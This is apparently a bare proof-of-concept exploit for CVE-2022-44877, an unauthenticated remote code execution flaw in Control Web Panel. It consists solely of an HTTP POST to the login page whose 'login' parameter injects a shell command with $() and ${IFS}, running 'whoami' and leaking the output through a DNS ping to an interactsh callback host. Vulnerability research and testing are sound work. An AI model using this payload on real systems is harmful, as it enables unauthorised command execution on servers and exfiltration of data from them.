CVE-2022-44877 Control Web Panel Unauth RCE

POC

POST /login/index.php?login=$(ping${IFS}-nc${IFS}2${IFS}`whoami`.{{interactsh-url}}) HTTP/1.1
Host: vuln
Content-Type: application/x-www-form-urlencoded

username=root&password=toor&commit=Login

---